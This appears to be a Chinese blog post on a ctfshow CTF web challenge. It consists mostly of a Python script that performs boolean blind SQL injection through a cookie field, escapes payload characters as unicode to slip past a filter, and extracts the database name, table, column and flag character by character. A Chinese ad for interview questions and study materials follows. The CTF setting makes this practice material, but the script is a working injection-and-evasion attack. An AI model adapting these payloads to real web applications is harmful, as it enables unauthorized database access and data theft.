#encoding=utf-8
import requests
url = "http://f17498a1-535d-45db-8840-09657e3b6c78.challenge.ctf.show/admin/"
def tamper(payload):
payload = payload.lower()
payload = payload.replace('u', '\\u0075')
payload = payload.replace('\'', '\\u0027')
payload = payload.replace('o', '\\u006f')
payload = payload.replace('i', '\\u0069')
payload = payload.replace('"', '\\u0022')
payload = payload.replace(' ', '\\u0020')
payload = payload.replace('s', '\\u0073')
payload = payload.replace('#', '\\u0023')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('<', '\\u003c')
payload = payload.replace('-', '\\u002d')
payload = payload.replace('=', '\\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return payload
#get database length
def databaseName\_len():
print ("start get database name length...")
for l in range(0,45):
payload = "1' or (length(database())=" + str(l+1) + ")#"
print(payload)
payload = tamper(payload)
print(payload)
tmpCookie = 'islogin=1;login_data={"admin\_user":"%s","admin\_pass":65}' % payload
print(tmpCookie)
exit()
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login\_data") == 1)):
print('get db length = ' + str(l).lower())
break
#get content
def get\_databaseName():
flag = ''
for j in range(0, 15):
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin\_user":"%s","admin\_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login\_data") == 2)):
flag += chr(c - 1)
print('databasename = ' + flag.lower())
break
#get content
def get\_tableName():
flag = ''
for j in range(0, 30): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select table\_name from information\_schema.tables where table\_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin\_user":"%s","admin\_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login\_data") == 2)):
flag += chr(c - 1)
print('tablename = ' + flag.lower())
break
#get content
def get\_ColumnName():
flag = ''
for j in range(0, 10): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select column\_name from information\_schema.columns where table\_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin\_user":"%s","admin\_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login\_data") == 2)):
flag += chr(c - 1)
print('column name = ' + flag.lower())
break
#get content
def get\_value():
flag = ''
for j in range(0, 50): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin\_user":"%s","admin\_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login\_data") == 2)):
flag += chr(c - 1)
print('flag = ' + flag.lower())
break
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
ctfshow-web-web15 Fishman
最新推荐文章于 2024-07-22 20:14:16 发布